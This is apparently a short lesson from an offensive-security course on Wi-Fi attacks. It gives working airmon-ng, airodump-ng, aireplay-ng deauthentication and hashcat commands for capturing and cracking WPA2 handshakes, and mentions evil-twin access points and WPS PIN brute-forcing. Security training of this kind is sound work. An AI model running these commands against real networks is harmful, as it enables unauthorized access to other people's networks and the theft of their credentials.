Advanced Offensive Security
Wireless Network Attacks
Capture WPA2 handshakes, crack them, and understand evil-twin attacks.
Wi-Fi extends the attack surface beyond the wire. With a monitor-mode adapter you can capture the WPA2 4-way handshake and crack the pre-shared key offline, or trick clients into connecting to a rogue access point.
- Put the adapter into monitor mode (airmon-ng start wlan0).
- Discover networks and clients (airodump-ng).
- Deauthenticate a client to force it to reconnect (aireplay-ng).
- Capture the 4-way handshake that reconnection produces.
- Crack the handshake offline against a wordlist (hashcat -m 22000).
airmon-ng start wlan0
airodump-ng wlan0mon # find target BSSID/channel
airodump-ng -c 6 --bssid AA:BB:.. -w cap wlan0mon
aireplay-ng --deauth 5 -a AA:BB:.. wlan0mon # force handshake
hashcat -m 22000 cap.hc22000 rockyou.txt
- Evil Twin — a rogue AP mimicking a real SSID to capture credentials or MITM traffic.
- WPS attacks — weak WPS PINs can be brute-forced (reaver).
- Enterprise Wi-Fi (WPA2-EAP) — has its own credential-relay attacks.